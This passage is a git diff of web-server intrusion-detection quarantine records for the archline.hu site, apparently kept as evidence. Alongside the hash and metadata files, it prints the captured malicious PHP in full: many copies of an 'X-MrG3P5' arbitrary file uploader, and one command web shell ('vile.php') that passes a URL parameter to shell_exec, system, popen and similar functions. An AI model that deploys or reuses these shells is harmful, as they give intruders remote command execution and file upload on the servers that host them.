"result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json new file mode 100644 index 0000000..56abb56 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3557", + "log_excerpt": "[quarantine] www.archline.hu:tmp/up_w79o5p.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812925, + "size": 448, + "uid": 20043 + }, + "rel_path": "tmp/up_w79o5p.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vbjim.php7.json b/var/www/hosting/archline.hu/www/vbjim.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vbjim.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json b/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json new file mode 100644 index 0000000..e3466b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2887", + "log_excerpt": "[quarantine] www.archline.hu:vbjim.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vbjim.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950925, + "size": 448, + "uid": 20043 + }, + "rel_path": "vbjim.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vile.php.json b/var/www/hosting/archline.hu/www/vile.php.json new file mode 100644 index 0000000..b8cbb94 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vile.php.json @@ -0,0 +1,40 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode(" +",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vile.php.json.evidence.json b/var/www/hosting/archline.hu/www/vile.php.json.evidence.json new file mode 100644 index 0000000..7bce42d --- /dev/null +++ b/var/www/hosting/archline.hu/www/vile.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2919", + "log_excerpt": "[quarantine] www.archline.hu:vile.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vile.php.json)", + "original_sha256": "3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e", + "original_stat": { + "gid": 30037, + "mtime": 1783956463, + "size": 1223, + "uid": 20043 + }, + "rel_path": "vile.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vtury.php5.json b/var/www/hosting/archline.hu/www/vtury.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vtury.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json b/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json new file mode 100644 index 0000000..3fa8ee1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2913", + "log_excerpt": "[quarantine] www.archline.hu:vtury.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vtury.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790443, + "size": 448, + "uid": 20043 + }, + "rel_path": "vtury.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/whqyc.php.json b/var/www/hosting/archline.hu/www/whqyc.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/whqyc.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json b/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json new file mode 100644 index 0000000..d6f3b5a --- /dev/null +++ b/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2849", + "log_excerpt": "[quarantine] www.archline.hu:whqyc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/whqyc.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950920, + "size": 448, + "uid": 20043 + }, + "rel_path": "whqyc.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/wwzau.phtml.json b/var/www/hosting/archline.hu/www/wwzau.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wwzau.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json new file mode 100644 index 0000000..a4c773d --- /dev/null +++ b/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2855", + "log_excerpt": "[quarantine] www.archline.hu:wwzau.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/wwzau.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790439, + "size": 448, + "uid": 20043 + }, + "rel_path": "wwzau.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/wywkj.php.json b/var/www/hosting/archline.hu/www/wywkj.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wywkj.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json b/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json new file mode 100644 index 0000000..808e2d7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2844", + "log_excerpt": "[quarantine] www.archline.hu:wywkj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/wywkj.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813975, + "size": 448, + "uid": 20043 + }, + "rel_path": "wywkj.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/xaurk.phtml.json b/var/www/hosting/archline.hu/www/xaurk.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xaurk.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json new file mode 100644 index 0000000..aec50a6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2843", + "log_excerpt": "[quarantine] www.archline.hu:xaurk.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/xaurk.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813981, + "size": 448, + "uid": 20043 + }, + "rel_path": "xaurk.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/xgvbn.php7.json b/var/www/hosting/archline.hu/www/xgvbn.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xgvbn.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json b/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json new file mode 100644 index 0000000..4d4c97f --- /dev/null +++ b/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2924", + "log_excerpt": "[quarantine] www.archline.hu:xgvbn.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/xgvbn.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790441, + "size": 448, + "uid": 20043 + }, + "rel_path": "xgvbn.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yfajh.phar.json b/var/www/hosting/archline.hu/www/yfajh.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yfajh.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json b/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json new file mode 100644 index 0000000..7e10593 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2834", + "log_excerpt": "[quarantine] www.archline.hu:yfajh.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yfajh.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792273, + "size": 448, + "uid": 20043 + }, + "rel_path": "yfajh.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yirrh.phtml.json b/var/www/hosting/archline.hu/www/yirrh.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yirrh.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json new file mode 100644 index 0000000..5198115 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2869", + "log_excerpt": "[quarantine] www.archline.hu:yirrh.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yirrh.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811775, + "size": 448, + "uid": 20043 + }, + "rel_path": "yirrh.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yuacx.php.json b/var/www/hosting/archline.hu/www/yuacx.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yuacx.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json b/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json new file mode 100644 index 0000000..5e192a2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2930", + "log_excerpt": "[quarantine] www.archline.hu:yuacx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yuacx.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790446, + "size": 448, + "uid": 20043 + }, + "rel_path": "yuacx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +}